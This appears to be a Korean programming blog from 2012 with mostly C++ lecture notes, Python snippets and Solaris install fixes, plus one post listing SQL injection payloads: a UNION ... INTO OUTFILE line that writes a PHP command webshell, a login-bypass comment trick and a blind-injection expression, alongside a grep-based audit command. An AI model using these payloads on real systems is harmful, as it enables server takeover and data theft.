2012. 8. 13. 11:49

#include<iostream>

using namespace std;

//////////////////////////////////////////////////////////////////////////////////////

//주제 4 C++ Explicit cast

//1. C 의 캐스팅은 너무 위험하다 (Unresonable , 비이상적이다)

//2. 그래서 C++ 은 4가지 캐스팅 연산자를 따로 만들었다

//(A) static_cast : 이성적인 것만 허용

//(B) reinterpret_cast : 메모리 재해석 - 거의 성공 

//(C) const_cast : 객체의 상수 제거

//(D) dynamic_cast : RTTI 기술 

////////////////////////////////////////////////////////////////////////////////////////


int main(){


double d = 3.4;

int n =d;    //date 손실이 발생하지만 암시적 변환이 허용된다. 

int n = static_cast<int>(d); //<OK 허용!> 


double * p =(double *)&n; // ㅏㅁ시적은 안되지만 명시적 캐스팅은 된다.

//double * p =static_cast<double *>(&n); //Error !!  그래도 꼭 쓰고싶어? 그럼 아래 껄로!

double * p =reinterpret_cast<double *>(&n); //Error !! 


const int c= 0;

//int *p2 =  (int *) &c; //  상수의 포인터를 비상수 포인터로 가리킬수 없다. 하지만 명시적은  된다!?!;; 완전 불안하다.

//int *p2 =  static_cast<int *> (&c); // 안된다! 그래도 해보고싶다? 

//int *p2 =  reinterpret_cast<int *> (&c); // 안된다! 상수는 바꿀수 없다

int *p2 = const_cast<int *>(&c); // 원본이 read 만 가능한 const 일때는 const_cast 라 하더라도 절대 값을 바꾸지는 말자.


*p2 = 10 ;


cout << c <<endl; // 하지만 결과는 0이다! const 를 가리키는 포인터는 혼란을 초래할 뿐이다. 



}


Posted by k1rha
2012. 8. 13. 11:31

#include<iostream>

using namespace std;


//주제 3 . 함수 템플릿 

//1. 메크로를 사용한 코드 생성 - 전처리기가 코드 생성을 한다.

// 전처리기는 사용자가 사용하는 타입을 모른다. 그래서 사용전에는 꼭 MAKE_MAX(필요한 타입)으로 선언해야 한다.

// 2 컴파일러를 사용한 코드 생성 - template 

/*

int Max(int a, int b){

return a < b ? b : a;

}

double Max(double a, double b){

return a < b ? b : a;


}

*/


//동일한 코드가 반복된다면 코드 생성기를 사용하자.

//#define MAKE_MAX(T) T MAX(T a, T b){return a< b ? b:a;}

//MAKE_MAX(int)

//MAKE_MAX(double)

// 함수 템플릿? 템플릿 함수?   함수 템플릿으로 쓰자!



// 2 컴파일러를 사용한 코드 생성 - template 

// 인스턴스화 : 템플릿이 타입이 결정되어서 진짜 함수 /클래스를 만드는 과정.

// 암시적 인스턴스화 : T를 컴파일러가 결정 

// 명시적 인스턴스화 : T를 사용자가 결정! 


template<typename T> T Max(T a, T b){return a< b ? b: a;}




int main(){


Max(1,2);  //int Max(int, int ) 를 생성하는 효과를 가져온다

Max(1.1, 2.2); // double Max(double, double) 를 생성하는 효과를 가져온다.


// Max(65,'B'); //error! 

Max<int>(65,'B'); // ok 사용자가 직접 T의 타입을 지정





}

Posted by k1rha
2012. 8. 13. 11:31

///////////////////////////////////////////////////////////////////////////////////////

//주제 2. 인라인 함수  -  약간은 어려운 이야기

//1. 함수 호출의 원리 : 마지막 인자 부터 스텍에 넣고 함수로 jmp

//2. 인라인 함수 개념 : 진짜 호출이 아니라 함수 기계어 코드를 통째로 치환

//3. 장점 : 속도가 빠르다.

//4. 단점 : a목적 코드의 크기가 커진다?!  -> 오히려 간단한 함수에서는 줄어든다.

//

//////////////////////////////////////////////////////////////////////////////////////

========================= 인라인 함수 1.cpp =========================================

int Add(int a,int b){return a+b;}

inline int Add2(int a, int b){return a+b;}

int main(){

int m1 = Add(1,2); //push 2

//push 1

//call ?Add@@xxxxxx


int m2 = Add2(1,2);



return 0;

}



==================================================================================


=========================== 인라인 함수2.cpp ====================================


//인라인 함수2.cpp

int Add1( int a, int b);

inline int Add2( int a, int b);


int main(){

Add1(1,2);

Add2(1,2);



}


int Add1(int a, int b){return a+b;}

inline int Add2(int a, int b){return a+b;}


//=======================================================================================

//////////////////////////////////////////////////////////////////////////////////////////

//빌드하면 에러가 나옴 Why?

// internal linkage(내부연결) : 임의의 심볼이 (변수, 함수이름) 자신을 선언한 컴파일단위(같은파일)에서만 사용 가능

// ex)static 전역변수, 인라인 함수 , template , 매크로,

// internal linkage 는 헤더에 포함되게 만든다!

//

// externeal linkage*외부연결) : 임의의 심볼이 프로젝트 내의 모든 컴파일 단위에서 사용 가능

// ex) 전역변수, 일반함수, 

//

// const  는 C에서는 external  이고 C++ 에서는 internal 이다. 

//

// 어셈블리 단에서 보면 일반 함수는 call 을 위해 그 메모리주소값을 비워두고 실행시에 그 주소를 참조한다.

// 하지만 inline 은 컴파일시 그 부분을 전부다 기계어로 올려놓고 그 주소를 참조한다.

//

//////////////////////////////////////////////////////////////////////////////////////////



/////////////////////////////////////////////////////////////////

//인라인 함수와 함수포인터 - 중요하고 어렵습니다.

//1. 인라인 함수는 컴파일 시간 문법이다.

//2. 함수는 자신만의 타입이 없다!! singnature 가 동일한 모든 함수는 같은 타입이다.

//3. 함수 포인터를 사용해서 호출하는 경우 대부분의 컴파일러는 인라인 치환을 할 수 없다.

//4. 왜 중요한가? 라이브러리 설계자 입장을 생각해 보자.

// 라이브러리 개발자는?!

//(A)  성능! - 빨라야 한다!

//(B) 유연성!  - 유연성이 있어야 한다.

// 변하지 않는 전체 알고리즘과 변해야하는 정책은 분리하는 것이 좋다. (오른차순 내림차순 )

// C 에서는 변하는 것을 함수 인자화 하면 된다.

//

// 컴파일 상에서 알아서 처리 해준다!!!

////////////////////////////////////////////////////////////////////

/*

void foo(){}

inline void goo(){}

int main(){


foo();

goo();



void(*f)();

int n;

cin >> n;

if(n==0)f=&foo;

else f=&foo;

f();


}

*/


//4

void Sort(int *x , int n, int( *cmp)(int,int)){ //qsort() 라면?!

for(int i =0; i<n-1;i++){

for(int j=i+1;j<n;j++){

if(cmp(x[i]>x[j])>0)swap(x[i],x[j]);

}

}

}

//inline int cmp1(int a, int b){return a-b;} //인라인 함수는 함수 포인터로 호출이 불가능하다. /

//inline int cmp2(int a, int b){return b-a;} 


int cmp1(int a, int b){return a-b;} 

int cmp2(int a, int b){return b-a;}


int main(){

int x[10] = {1,3,5,7,9,11,2,4,6,8};

Sort ( x, 10,cmp1);

}



Posted by k1rha
2012. 8. 13. 10:14

[SSM 안드로이드 프레임워크 만들기 강의]

===========================================================

Inside 안드로이드 8장 <-- 강의내용에 도움될만한 서적 


월 : C++ 고급문법

화 : 각종 테크닉 -> 스마트 포인터, 참조계수, 함수객체 등..

수 : 안드로이드가 사용하는 각종 디자인 기법

목 : Generic 프로그램

금 : 안드로이드 프레임워크 구현



===========================================================


JNI는 JAVA와 디바이스간의 프로세스 통신이다. 




===========================================================

//#include <iostream>

//using namespace std;


////////////////////////////////////////////////////////////////////////////////////////

//1. 개념 : 인자의 갯수나 타입이 다르면 동일 이름의 함수를 2개이상 만들 수 있다.

//2. 장점 : 일관된 라이브러리를 구축 하기가 쉽다.(C를 제외한 대부분의 언어가 지원된다)

//3. 원리 : name mangling - 컴파일러가 오버라이딩을 지원하기 위해 함수 이름을 변경하는 현상.

//4. cl 소스이름.cpp /FAs 로 어셈 코드를 만들 수 있다.

//5. c와의 호환성 문제.. 헤더 작업시 조건부 컴파일 필요

//6. 함수 오버로딩은 1. 컴파일 시간 문법이다. --실행시 성능에는 문제가 없다. (단 컴파일시간이 더걸린다)

//7. 

/////////////////////////////////////////////////////////////////////////////////////////


int square(int a)  //컴파일러 단에서 함수와 인자값을 보고 suare_int(int a) 같이  rename 하게 된다.

{


return a*a;

}

double square(double d) // 컴파일러가 square_dobule(double) 과 같이 rename 한다.

{

return d*d;

}

int main()

{

int n= square(3); //square_int (3)

double d = square(3.1);

return 0;

}

=============================================================


cl 명령어로 cpp 파일을 어셈으로 표현해준다.


$cl 함수오버로딩.cpp /FAs



텍스트 파일로 열어보면 맹글리 된 부분을 확인 할 수 있다.

===================================================================

; 21   : int n= square(3); //square_int (3)


push 3

call ?square@@YAHH@Z ; square

add esp, 4

mov DWORD PTR _n$[ebp], eax


; 22   : double d = square(3.1);


sub esp, 8

fld QWORD PTR __real@4008cccccccccccd

fstp QWORD PTR [esp]

call ?square@@YANN@Z ; square

add esp, 8

fstp QWORD PTR _d$[ebp]

====================================================================





//square.c => 반드시 .c 파일로 만들것


int square(int a)

{

return a*a;

}

//square.h 만드드세요 

int square(int);



//함수 오버로딩2.cpp 파일로 들어옴


#include "square.h"

int main(){

square(3);

}

//위처럼 3개의 파일로 작업한 후 빌드 

====================================================================

에러가 출력된다. 

이유?!  : cpp 파일은 오버로딩을위해 함수를 맹글링한다.

하지만 .c 파일에서는 오버로딩이 지원하지 않기때문에 함수이름 그대로를 사용한다.

맹글링된 함수 주소를 참조 할 수 없다.


이를 해결하기 위해 .h 파일에 extern "C" 를 선언해주어 C처럼 컴파일 해달라고 요청하면 된다.


========================== squre.h =========================================

extern "C" int square(int);

//cpp 컴파일러에게 c 처럼 해석해 달라(name mangling을 막아달라고 요청)


==============================================================================


=> 잘 컴파일됨 



이후 cpp 파일의 확장자를 .c 로 하면 string 오류가 뜬다. h 안에 extern "C" 를 못인식 하는 것이다.

이럴때는 조건부 컴파일을 해 줘야한다.


========================== square.h =========================================

#ifdef __cplusplus

extern "C"{

#endif

int square(int);

//cpp 컴파일러에게 c 처럼 해석해 달라(name mangling을 막아달라고 요청)

#ifdef __cplusplus

}

#endif


//결론 c/C++ 모두에서 사용 가능한 라이브러리를 구축하려면

//1.라이브러리 자체는 .c 로해서 name manling 을 막고

//2. 헤더는 위처럼 조건부 컴파일을 해서 c/c++ 모두를 지원해야 한다. 

==============================================================================









Posted by k1rha
2012. 8. 12. 22:15

SQL injection 공격 과 방어의 원리 책들중...


UNION 구문과 INTO OUTFILE 을 이용하여 웹쉘 만들기


 1 UNION SELECT "<?system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/cmd.php" --



취약점 테스트로 좋은 구문


php?category=bikes
-> php?category=bi''kes

->php?category=bi'+'kes



패스워드 주석처리해 버리기(세미콜론이 먹힐때 )


select *from table where username='admin '/*'and passworkd='*/''; 



AND 나 OR 절 안쓰고 블라인드 하기 


where id =12/ (case+when+(ascii(substring(select+system_user),1,1))+>+64)+then+1+else+0+end)  //OK or error 


Posted by k1rha
2012. 8. 12. 22:09

sql injection awk 를 이용하여 빠르게 점검하기.


SQL injection 공격과 방어의 원리 책을 훑어 보다가 괜찮은 정검 방법


awk 이용하여 mysql_query 부분만 추출하여 세미콜론 확인하기.

 grep -r -n "mysql_query\(.*\)" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' > VLRN.txt



혹은 where 절만 보고싶을때 where 절만 추가


   grep -r -n "mysql_query\(.*\where.*\)" ./ | awk -F : '{print "filename : "$1"\nline: "$2"\nmatch: "$3"\n\n"}' > VLRN.txt


이렇게하면 쿼리 구문중에 where 절이 들어간 것들은 전부다 나온다. 그중에 세미콜론처리가 잘 안된것 의주로 점검하면됨.





Posted by k1rha
2012. 8. 9. 01:30

thread를 이용할 경우 혹은 간혹 전역변수가 필요할 때가 있다.

python은 일반적으로 모든 변수들을 지역변수로 사용한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python
 
import sys
import threading
 
global_value = 0
local_value = 0
 
def function(number, local_value) :
    global global_value
 
    global_value += 10
    local_value += 10
 
    sys.stdout.write("[Thread #%d] global_value: %d\n"
            % (number, global_value))
    sys.stdout.write("[Thread #%d] local_value: %d\n"
            % (number, local_value))
 
def main(thread_count) :
    threads = []
    for i in range(thread_count) :
        print "Create Thread #%d" % i
        threads.append(threading.Thread(target=function,
            args=(i,local_value)))
 
    for i in range(thread_count) :
        print "Start Thread #%d" % i
        threads[i].start()
 
    for i in range(thread_count) :
        threads[i].join()
        print "End Thread #%d" % i
 
if __name__ == "__main__" :
    main(5)
전역변수와 지역변수를 사용한 예제다.
사용하려는 곳에서 global을 이용하여 해당 변수가 전역변수라는 것을 알린다.

10번째 줄을 주석처리해보면 할당되지 않은 영역을 참조했다는 에러 메시지를 확인할 수 있다.

Posted by k1rha
2012. 8. 8. 21:58

http://ha.ckers.org/xss.html



http://www.youtube.com/watch?v=vgrxDZVApdI

Posted by k1rha
2012. 8. 6. 02:53

python 을 패키지 설치후 실행을하면 아래와 같은 에러를 뱉어 냈다.


Fatal Python error: Py_Initialize: can't initialize sys standard streams

LookupError: unknown encoding: 5601


젠장.. 이 오류로 거의 20시간 이상 서핑만 했다. 인코딩 문제인데, 이걸 해결하는데 정말 많은 시간을 버린것같다.

게다가 솔라리스 환경인지라 에러 코드가 정확히 맡는 사람이 하나도 없었고, 윈도우 환경에서 비슷한 에러를 출력한 사람을 찾게 되었다. 해결방법은 아래와 같다.


http://bugs.python.org/file14014/alias_cp65001.diff  <--참조


필자의 경우

[********:/usr/local/lib/python3.1/encodings]# pwd

/usr/local/lib/python3.1/encodings


위의 경로에서 필요한 언어셋 아래에 에러가된 인코딩 방식을 지정해줌으로써 해결되었다.


미친듯이 고생한 에러의 결과가 위와 같이 해결되었다.



Posted by k1rha
2012. 8. 4. 17:54

기다 여다른 LINUX 시스템에서는 바이썬 공식홈페이지에서 제공해주는 소스코드를 가지고 

./configure ./make ./make install 순서로 차근차근 진행해주면 별다른 어려움 없이 설치가 가능하다.


하지만 유닉스인 솔라리스인경우는 유독 make 에러를 많이 뱉어 낸다.


signalModule.o 가 컴파일 에러를 띄우는 오류부터 시작하여 (이는 컴파일 ANSI 설정문제로 gcc 옵션에 -E -traditional 을 추가함으로해결되긴한다 ) 다른 오류들이 많이 격게된다.



한참을 찾던중 솔라리스는 패키지 파일로 설치할수 있다는 것을 찾았다.


http://www.sunfreeware.com/


위 공식사이트에서 spac 인지 x86인지 잘 구분하여 python 패키지 파일을 다운받은뒤


pkgadd -d [python] 으로 설치해준다.



가끔씩 패키지 설치 오류로 더이상 설치할수 없다는 답이 있는데

이러한 문제는 아래와 같은 글로 해결되었다.

====================================================================

Hi Alex, 

That means that you have that package (from same vendor) already installed. 
Check with 
pkginfo | grep zlib 
or 
find /var/sadm/pkg -type f -name pkginfo | grep zlib 

I think that you can ignore it, since that package (from some reasons) 
have set 'MAXINST="1"'

==============================================================

Posted by k1rha